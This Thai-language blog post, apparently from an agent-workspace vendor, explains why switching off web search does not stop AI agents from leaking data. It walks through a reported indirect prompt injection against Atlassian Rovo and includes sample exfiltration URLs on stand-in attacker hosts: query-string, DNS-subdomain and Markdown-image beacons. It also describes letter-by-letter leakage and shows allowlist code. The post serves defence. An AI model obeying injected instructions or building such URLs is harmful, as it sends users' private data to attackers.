ทำไมการปิด Web Search ถึงป้องกันข้อมูลรั่วไหลจาก AI Agent ไม่ได้

คำตอบสั้น ๆ: การปิดระบบค้นหาเว็บ (web search) ไม่ได้ช่วยหยุดการรั่วไหลของข้อมูลจาก AI agent เพราะสวิตช์เปิด-ปิดนี้เป็นเพียงการซ่อนฟีเจอร์การทำงาน แต่ไม่ได้ปิดเครื่องมือจริงที่อยู่เบื้องหลัง หากตัว agent ยังคงเปิด URL, แสดงผลรูปภาพ หรือเรียกใช้งาน connector ได้ คำสั่งแปลกปลอมที่ถูกฉีดเข้ามา (injected instruction) ก็สามารถแนบข้อมูลของคุณส่งออกไปพร้อมกับ request ได้เสมอ วิธีแก้ไขปัญหาที่เด็ดขาดและแน่นอน (deterministic) คือ agent ต้องดึงข้อมูลได้เฉพาะ URL ที่ผู้ใช้พิมพ์เข้ามาเอง หรือเป็น URL ที่ส่งคืนมาจากเครื่องมือที่เชื่อถือได้เท่านั้น

หลายทีมคิดว่าสวิตช์ปิดการค้นหาเว็บคือกดปิดความเสี่ยงในการส่งข้อมูลออกภายนอก (outbound risk) แต่ความเป็นจริงไม่ใช่เลย ในเดือนสิงหาคม 2026 ทาง PromptArmor ได้เปิดเผยการโจมตี Atlassian Rovo ที่ยังคงเจาะระบบได้แม้จะปิดการค้นหาเว็บทั่วทั้งองค์กรแล้วก็ตาม และสาเหตุนี้ก็สามารถเกิดขึ้นได้กับ agent ทุกตัวที่คุณพัฒนาขึ้นหรือซื้อมาใช้งาน

เนื้อหาด้านล่างนี้จะอธิบายถึงช่องทางการรั่วไหลของข้อมูล เหตุผลที่แพตช์ทั่วไปมักไม่ได้ผล และกฎเกณฑ์ที่ป้องกันได้จริง เราพัฒนา Sharkly ซึ่งเป็นพื้นที่ทำงานที่ coding agent รับงานจากบอร์ดที่แชร์ร่วมกัน เราจึงต้องเผชิญกับคำถามเหล่านี้เช่นกัน ปัญหา prompt injection ยังคงเป็นเรื่องที่ไม่มีใครแก้ตกอย่างสมบูรณ์ รวมถึงใน coding agent ที่ทำงานบน Sharkly ด้วย

สวิตช์ค้นหาเว็บควบคุมอะไรได้บ้าง และอะไรที่ควบคุมไม่ได้

สวิตช์เปิด-ปิดการค้นหาเว็บจะควบคุมเพียงว่า agent มีสิทธิ์เรียกใช้ search engine หรือไม่ แต่มันไม่ได้ส่งผลอะไรกับเครื่องมือแยกต่างหากที่ทำหน้าที่เปิด URL และอ่านการตอบกลับ (response) หากเครื่องมือ fetch นั้นยังคงเปิดใช้งานอยู่ agent ก็ยังคงส่ง request ไปยังเซิร์ฟเวอร์ใดก็ได้บนอินเทอร์เน็ต และทุก request ก็สามารถส่งข้อมูลแอบแฝงผ่านทาง address นั้นได้

การค้นหา (search) จะส่งคืนรายชื่อลิงก์ ส่วนการดึงข้อมูล (fetch) จะนำลิงก์นั้นไปสร้าง HTTP request ข้อมูลของคุณจะรั่วไหลออกจาก tenant ก็ในขั้นตอน fetch นี้นี่เอง

ช่องโหว่นี้คือใจความสำคัญทั้งหมดของการค้นพบใน Rovo โดยในรายงานของ PromptArmor ระบุไว้ว่าการตั้งค่าค้นหาเว็บนั้น “ไม่ได้ปิดเครื่องมือสำหรับการเปิดผลลัพธ์การค้นหา” แม้ผู้ดูแลระบบขององค์กรจะปิดระบบค้นหาไปแล้ว แต่เครื่องมือ fetch ก็ยังคงเปิดทำงานอยู่

Agent สร้าง URL สำหรับขโมยข้อมูลได้อย่างไร

Indirect prompt injection คือการที่ผู้โจมตีซ่อนคำสั่งไว้ในเนื้อหาที่ agent จะเข้ามาอ่านในภายหลัง เช่น ไฟล์, ทิกเก็ต หรืองานบนหน้าเว็บ โดยตัวโมเดลไม่สามารถแยกแยะระหว่างคำสั่งที่คุณสั่งจริง ๆ กับข้อความที่พบระหว่างทางได้อย่างแม่นยำ ลำดับขั้นตอนการโจมตีของ Rovo ตามที่ PromptArmor อธิบายไว้ มี 5 ขั้นตอนดังนี้:

1. เหยื่ออัปโหลดไฟล์ เช่น "Backlog Guide" ที่มีคำสั่งแอบแฝงซ่อนอยู่
2. ต่อมา เหยื่อสั่งให้ Rovo ช่วยจัดการทิกเก็ตใน Jira
3. Rovo ค้นหาข้อมูลใน Jira และ Confluence แล้วอ่านไฟล์ที่มีโค้ดแฝงนั้นเป็นส่วนหนึ่งของการทำงาน
4. คำสั่งที่ถูกฉีดเข้าไปจะสั่งให้ Rovo นำเนื้อหาจากทิกเก็ตและ Confluence ไปต่อท้าย URL ของผู้โจมตี แล้วเปิด URL นั้นด้วยเครื่องมือดึงข้อมูล URL (URL retrieval tool)
5. เซิร์ฟเวอร์ของผู้โจมตีจะบันทึก log ของ request ดังกล่าวพร้อมข้อมูลที่แนบมาด้วย ในขณะที่เหยื่อก็ยังเห็นข้อเสนอแนะเกี่ยวกับทิกเก็ตตามปกติ

ไม่ต้องมีการคลิก ไม่ต้องมีการแจ้งเตือนเพื่อขออนุมัติ นอกจากนี้ PromptArmor ยังระบุแหล่งที่มาอื่น ๆ ของการฉีดคำสั่งนี้ เช่น ทิกเก็ตฝ่ายสนับสนุน (support ticket), ผลการค้นหาเว็บเมื่อเปิดฟังก์ชัน search และ connector ของระบบภายนอก (third-party connector)

จุดสำคัญอยู่ที่ขั้นตอนที่ 4 ซึ่ง PromptArmor รายงานว่า “ไม่มีการป้องกันการเปิด URL ที่ถูกสร้างขึ้นแบบไดนามิกโดยตัว agent เอง” เมื่อ agent เป็นผู้ประกอบ address นั้นขึ้นมาเอง address ดังกล่าวจึงสามารถบรรจุข้อมูลใด ๆ ก็ตามที่ agent ได้อ่านเข้าไปด้วย

URL สำหรับขโมยข้อมูลมีหน้าตาเป็นอย่างไร?

นี่คือรูปแบบตัวอย่าง โดยใช้โดเมนจำลอง:

https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri

ผู้โจมตีจะอ่านค่า d= จาก access log ของตนเอง โดยที่ agent แค่ส่ง GET request ธรรมดาเพียงครั้งเดียว ซึ่งเป็นสิ่งที่เครื่องมือ fetch ถูกออกแบบมาให้ทำอยู่แล้ว

ทำไมการตัด query string ถึงไม่ช่วยอะไร: การรั่วไหลผ่าน subdomain และ DNS

การกรองส่วนเครื่องหมาย ? ออกจาก URL มักเป็นวิธีแก้ไขแรก ๆ ที่คนนึกถึง แต่มันใช้ไม่ได้ผล ในกระทู้บน Hacker News (306 คะแนน, 138 ความคิดเห็น) Simon Willison ชี้ให้เห็นว่า หากใช้ wildcard DNS ข้อมูลก็สามารถแฝงตัวอยู่ใน hostname ได้:

https://cHJvZCBkYiBjcmVkcw.attacker.example/

DNS server ของผู้โจมตีจะตอบรับทุก subdomain และบันทึกข้อมูลการ lookup ทุกครั้ง ข้อมูลจึงรั่วไหลออกไปตั้งแต่ขั้นตอนการแปลงชื่อโดเมน (name resolution) ก่อนที่ HTTP request จะเสร็จสมบูรณ์เสียด้วยซ้ำ นอกจากนี้ยังมีผู้แสดงความคิดเห็นอีกรายเสริมว่า ข้อมูลสามารถแฝงอยู่ในส่วนประกอบใดก็ได้ของ URL รวมถึงในช่องระบุข้อมูลประจำตัว (credentials field)

ดังนั้น กฎเกณฑ์จึงไม่ใช่การ “ทำความสะอาด URL” แต่มุมมองของ Willison คือ ปัญหานี้ต้องแก้ด้วย “การไม่เปิดโอกาสให้สร้าง URL ขึ้นมาแบบไดนามิกได้เลย”

ช่องทางการรั่วไหลผ่านรูปภาพ Markdown

Agent บางตัวไม่จำเป็นต้องพึ่งพาเครื่องมือ fetch ในการปล่อยข้อมูลรั่วไหลเลย หากอินเทอร์เฟซของระบบแชตรองรับการแสดงผลรูปภาพ Markdown จากโดเมนภายนอก ตัวโมเดลก็สามารถเขียนสิ่งนี้ลงในคำตอบได้:

![status](https://img.attacker.example/p.png?d=PROJ-412-summary)

เบราว์เซอร์ของผู้ใช้จะโหลดรูปภาพนั้นและส่ง request ไปโดยอัตโนมัติ โดยที่ไม่มีใครต้องคลิกอะไรเลย PromptArmor ตั้งข้อสังเกตว่า Rovo มีการเรนเดอร์รูปภาพ Markdown ในผลลัพธ์ของ AI และถือว่าเป็นช่องทางการขโมยข้อมูลที่ทราบกันดี แม้ว่าในรายงานจะไม่ได้ลงรายละเอียดขั้นตอนการโจมตีแบบนี้ใน Rovo ไว้อย่างเฉพาะเจาะจงก็ตาม

ช่องทางนี้เกิดขึ้นในเลเยอร์การแสดงผล (rendering layer) ดังนั้นการตั้งค่าเครื่องมือของ agent จึงควบคุมปัญหานี้ไม่ได้เลย

ทำไมมาตรการ “เปิดเฉพาะ URL ที่ทำดัชนีไว้ล่วงหน้าแล้ว” ถึงยังทำให้ข้อมูลรั่วได้ ทีละตัวอักษร

มาตรการบรรเทาความเสี่ยงวิธีหนึ่งคือ อนุญาตให้ agent เปิด URL ได้เฉพาะเมื่อ search crawler เคยทำดัชนี (index) หน้านั้นไว้แล้วเท่านั้น ซึ่งผู้โจมตีจะไม่สามารถทำดัชนี URL ที่มีข้อมูลลับของคุณได้ เพราะข้อมูลลับนั้นไม่เคยปรากฏต่อสาธารณะมาก่อน

แต่ Johann Rehberger (ผู้ใช้ wunderwuzzi23 บน Hacker News) ได้อธิบายวิธีหลบเลี่ยงมาตรการนี้ไว้ ลองนึกภาพผู้โจมตีที่สร้างหน้าเว็บเตรียมไว้ล่วงหน้าสำหรับตัวอักษรแต่ละตัว เช่น /a ถึง /z และส่งให้ระบบทำดัชนีไว้ จากนั้นคำสั่งที่ฉีดเข้าไปจะสั่งให้ agent เข้าชมหน้าเว็บทีละตัวอักษรตามลำดับของข้อมูลลับ ผู้โจมตีก็แค่เข้าไปอ่านลำดับการเข้าชม (hits) จาก log เท่านั้น

วิธีนี้แม้จะช้าและเกิดร่องรอยให้สังเกตได้ชัด (noisy) แต่มันก็ใช้ได้ผล บทสรุปของ Rehberger คือแต่ละขั้นตอนเพียงแค่เพิ่มต้นทุนให้การโจมตียากขึ้น ไม่ได้ทำให้เป็นไปไม่ได้ อย่างไรก็ตาม เขาระบุว่า domain allowlist ยังคงมีประสิทธิภาพสำหรับ agent ที่มีหน้าที่เฉพาะเจาะจง เพราะสามารถบล็อก endpoint ที่ผู้โจมตีควบคุมได้อย่างสิ้นเชิง

กฎเกณฑ์ที่แน่นอน: อนุญาตให้ fetch เฉพาะ URL ที่มาจากมนุษย์หรือเครื่องมือที่เชื่อถือได้เท่านั้น

แนวทางแก้ไขที่ได้ผลจริงไม่ใช่การขอให้โมเดลระมัดระวังมากขึ้น แต่เป็นการตัดความสามารถของ agent ในการเลือกปลายทางออกไปโดยสิ้นเชิง:

• อนุญาต: URL ที่ผู้ใช้พิมพ์เข้ามาในการสนทนาโดยตรง
• อนุญาต: URL ที่เครื่องมือที่เชื่อถือได้ส่งคืนมา เช่น ผลการค้นหา แบบตรงตามตัวอักษรทุกประการ
• บล็อก: URL ใดก็ตามที่โมเดลเป็นผู้ประกอบขึ้นมาเอง, แก้ไข หรือต่อเติม

คุณสามารถบังคับใช้กฎนี้ด้วยโค้ดที่อยู่นอกตัวโมเดล โดยเก็บชุดข้อมูล (set) ของ URL ที่เข้ามาในการสนทนาจากแหล่งที่เชื่อถือได้ และปฏิเสธการ fetch ใด ๆ ที่มีข้อความไม่ตรงกับรายการในชุดข้อมูลนั้นแบบตรงกันเป๊ะ:

allowed_urls: set[str] = set()

def on_user_message(text: str) -> None:
    allowed_urls.update(extract_urls(text))

def on_search_results(results: list[dict]) -> None:
    allowed_urls.update(r["url"] for r in results)

def fetch(url: str) -> str:
    if url not in allowed_urls:
        raise PermissionError(f"blocked agent-built URL: {url[:60]}")
    return http_get(url)

วิธีนี้มีข้อจำกัดสองประการ ประการแรกคือการตรวจสอบนี้ไม่ครอบคลุมช่องทางรูปภาพ ดังนั้นคุณจึงยังคงต้องบล็อกรูปภาพจากภายนอกในส่วนแสดงผลลัพธ์ ประการที่สองคือวิธีนี้ไม่ได้ป้องกันเทคนิคการส่งข้อมูลทีละตัวอักษร หากเครื่องมือที่เชื่อถือได้สามารถส่งคืนรายการที่ผู้โจมตีกำหนดไว้ได้ นี่จึงเป็นเหตุผลที่ควรใช้ domain allowlist ควบคู่ไปด้วยสำหรับ agent ที่มีขอบเขตการทำงานเฉพาะเจาะจง

นี่คือการประยุกต์ใช้แนวคิด lethal trifecta (สามองค์ประกอบมรณะ) ของ Willison ซึ่งประกอบด้วย: ข้อมูลส่วนตัว, เนื้อหาที่ไม่น่าเชื่อถือ และช่องทางการส่งข้อมูลออก คุณไม่สามารถตัดสององค์ประกอบแรกออกไปจาก agent ที่ต้องการใช้งานจริงได้ แต่คุณสามารถควบคุมองค์ประกอบที่สามให้ชัดเจนและเด็ดขาดได้ และด้วยเหตุผลเดียวกันนี้ OWASP จึงจัดอันดับให้ prompt injection อยู่ในหมวด LLM01 เพราะไม่มีมาตรการแก้ไขใดในฝั่งโมเดลที่สมบูรณ์แบบได้จริง

เช็กลิสต์สำหรับผู้ที่กำลังพัฒนาหรือเลือกซื้อ Agent

ตรวจสอบคำถามเหล่านี้กับ agent ทุกตัวที่มีสิทธิ์เข้าถึงข้อมูลส่วนตัว:

1. ระบุเครื่องมือทุกตัวที่สามารถสร้าง network request ได้: fetch, เบราว์เซอร์, connectors, webhooks, อีเมล
2. สวิตช์เปิด-ปิดแต่ละตัวทำการถอดเครื่องมือนั้นออกจริง หรือแค่ซ่อนฟีเจอร์ที่เรียกใช้งานเครื่องมือดังกล่าว?
3. ตัว agent สามารถเปิด URL ที่ประกอบขึ้นมาเองได้หรือไม่?
4. มีการเรนเดอร์รูปภาพ Markdown จากภายนอกในผลลัพธ์หรือไม่?
5. มี domain allowlist หรือไม่ และใครเป็นผู้ควบคุม?
6. แหล่งข้อมูลใดบ้างที่อาจแฝงการฉีดคำสั่งได้: ไฟล์อัปโหลด, ทิกเก็ต, ผลลัพธ์จากเว็บ, connectors?
7. ผู้ให้บริการรับมือกับรายงานความปลอดภัยจากภายนอกครั้งล่าสุดอย่างไร และรวดเร็วแค่ไหน?

สำหรับ Rovo ไทม์ไลน์สาธารณะได้ตอบคำถามข้อ 7 ไว้แล้ว: PromptArmor ได้เปิดเผยข้อมูลเมื่อวันที่ 23 พฤษภาคม 2026 ทาง Atlassian ได้รับทราบเมื่อวันที่ 25 พฤษภาคม จากนั้นการติดตามผลในวันที่ 4 มิถุนายน และ 29 กรกฎาคม ไม่ได้รับคำตอบ และรายงานฉบับเต็มได้เผยแพร่ออกมาเมื่อวันที่ 5 สิงหาคม โดยที่ Rovo ยังคงมีช่องโหว่อยู่ [ตรวจสอบ 2026-10-27: ยังไม่พบการแก้ไขหรือแถลงการณ์จาก Atlassian สำหรับช่องทางนี้; โปรดตรวจสอบซ้ำก่อนเผยแพร่]

โปรดทราบว่า Rovo Dev ซึ่งเป็น coding agent ของ Atlassian นั้นเป็นคนละผลิตภัณฑ์กับ Rovo assistant ในการค้นพบนี้ โดยบทความเกี่ยวกับ Rovo Dev รุ่นฟรี (free tier) ของเราได้อธิบายรายละเอียดเรื่องนี้ไว้แล้ว

เรื่องนี้เกี่ยวข้องกับ Coding Agent ใน Sharkly อย่างไร

Coding agent ต้องอ่านข้อความที่ไม่น่าเชื่อถืออยู่ตลอดทั้งวัน ไม่ว่าจะเป็นรายละเอียดของ issue, ไฟล์ README หรือหน้าเว็บที่ดึงมา Sharkly ไม่ได้ทำให้ Claude Code หรือ Codex มีภูมิคุ้มกันต่อปัญหานี้ได้โดยตรง

สิ่งที่ Sharkly เข้ามาเปลี่ยนคือ ผู้ที่ควบคุมขอบเขตการส่งข้อมูลออก (outbound boundary) โดย agent จะทำงานบนคอมพิวเตอร์ของคุณเอง (Computers) ผ่าน service ภายในเครื่อง ซึ่งในเอกสารประกอบของ Computers ระบุไว้ว่า Computer จะ “จัดเตรียมระบบปฏิบัติการ, ไฟล์, ข้อมูลประจำตัว (credentials), การเข้าถึงเครือข่าย และเครื่องมือที่จำเป็นสำหรับ Agent” ดังนั้น เมื่อคุณกำหนดให้ Computer อยู่ภายใต้ egress allowlist การรันงานทุกครั้งบนเครื่องนั้นก็จะอยู่ภายใต้ข้อจำกัดเดียวกัน ไม่ว่าจะเป็น agent ตัวใดที่ประมวลผลก็ตาม

ขอบเขตความปลอดภัยอื่น ๆ จากเอกสารประกอบ:

• ผู้ใช้ทั่วไป (Guests) จะมองเห็นเฉพาะ Spaces ที่ถูกเพิ่มเข้าไปเท่านั้น
• การสั่งการในแอปภายนอกจำเป็นต้องมี connector ที่ได้รับอนุญาต
• ในเอกสารประกอบของ Skills ระบุว่าอย่าเก็บรหัสผ่าน, token หรือ key ไว้ในคำสั่งหรือไฟล์ของ Skill โดยเด็ดขาด เพื่อป้องกันไม่ให้ agent ที่ถูกแฮกสามารถอ่านข้อมูลเหล่านี้ได้

สิ่งเหล่านี้ไม่ได้หยุดยั้ง agent จากการใช้สิทธิ์การเข้าถึงที่มีอยู่แล้วในทางที่ผิด บทความของเราเกี่ยวกับการกำหนดสิทธิ์ของ coding agent, จุดตรวจสอบเพื่อขออนุมัติ (approval gates) และแนวทางการป้องกัน prompt injection ได้อธิบายรายละเอียดเกี่ยวกับจุดที่ควรกำหนดขอบเขตเหล่านี้ไว้แล้ว

บทสรุป

สวิตช์เปิด-ปิดการค้นหาเว็บเป็นการตั้งค่าระดับผลิตภัณฑ์ ไม่ใช่การควบคุมความปลอดภัย ข้อมูลสามารถรั่วไหลออกไปทางช่องทางใดก็ตามที่สามารถสร้าง request ได้ ไม่ว่าจะเป็นเครื่องมือ fetch, การค้นหา hostname หรือแท็กรูปภาพ จงปิดช่องทางเหล่านี้ด้วยโค้ดที่อยู่นอกตัวโมเดล

ก้าวต่อไปของคุณ: นำเช็กลิสต์คำถาม 7 ข้อนี้ไปประเมินกับ agent หนึ่งตัวที่ทีมของคุณใช้งานอยู่ในสัปดาห์นี้ โดยเริ่มจากคำถามข้อที่ 3 หากคุณใช้งาน coding agent บนหลาย Computers ให้ลองติดตั้ง Sharkly และกำหนดให้แต่ละเครื่องอยู่ภายใต้กฎ egress ที่คุณเชื่อถือและใช้งานอยู่แล้ว

คำถามที่พบบ่อย (FAQ)

การปิดการค้นหาเว็บบน agent ช่วยหยุด prompt injection ได้หรือไม่?

ไม่ได้ เพราะ prompt injection สามารถมาจากเนื้อหาใด ๆ ก็ตามที่ agent อ่าน รวมถึงไฟล์ที่อัปโหลด, ทิกเก็ต และข้อมูลจาก connector การปิดระบบค้นหาเป็นเพียงการตัดแหล่งเนื้อหาที่ไม่น่าเชื่อถือออกไปเพียงแหล่งเดียว แต่คำสั่งแปลกปลอมยังคงเข้ามาทางช่องทางอื่นได้ และยังคงส่งข้อมูลออกไปผ่านเครื่องมือ fetch ได้อยู่ดี

การขโมยข้อมูลผ่าน URL (URL-based data exfiltration) คืออะไร?

คือการที่ agent นำข้อมูลส่วนตัวไปใส่ไว้ภายใน URL แล้วทำการส่ง request ออกไป เซิร์ฟเวอร์ของผู้โจมตีจะบันทึก request นั้นและอ่านข้อมูลออกมา การโจมตีรูปแบบนี้ไม่จำเป็นต้องใช้มัลแวร์ใด ๆ เพียงแค่มี agent ที่สามารถสร้างและเปิด URL ใด ๆ ก็ตามได้อย่างอิสระก็เพียงพอแล้ว

รูปภาพ Markdown เป็นความเสี่ยงด้านความปลอดภัยในระบบแชต AI หรือไม่?

เป็นความเสี่ยงอย่างแน่นอน เมื่ออินเทอร์เฟซนั้นเรนเดอร์รูปภาพจากโดเมนภายนอก เพราะเบราว์เซอร์จะไปดึง URL ของรูปภาพนั้นมาโดยอัตโนมัติ ทำให้ข้อมูลใด ๆ ที่โมเดลเขียนลงไปใน URL ถูกส่งตรงถึงผู้โจมตีทันทีโดยที่ไม่มีใครต้องคลิก

การใช้ domain allowlist เพียงพอหรือไม่?

สำหรับ agent ที่มีหน้าที่เฉพาะเจาะจงและจำเป็นต้องใช้เพียงไม่กี่โดเมน allowlist ถือเป็นมาตรการควบคุมที่รัดกุมที่สุดเท่าที่มี แต่สำหรับผู้ช่วยอเนกประสงค์ (general assistant) เป็นเรื่องยากที่จะจำกัดโดเมนให้แคบได้ จึงควรนำไปใช้ควบคู่กับกฎที่ว่า agent จะต้องไม่ fetch URL ใดก็ตามที่ตัวมันเองเป็นผู้สร้างขึ้นมา

Atlassian ได้แก้ไขปัญหาการขโมยข้อมูลใน Rovo แล้วหรือยัง?

ณ วันที่ 27 ตุลาคม 2026 เรายังไม่พบแถลงการณ์หรือการยืนยันการแก้ไขจาก Atlassian สำหรับช่องทางที่ PromptArmor ได้เผยแพร่ โปรดตรวจสอบข้อมูลอัปเดตจากหน้าเว็บของ PromptArmor และประกาศแจ้งเตือนความปลอดภัยของ Atlassian เพิ่มเติม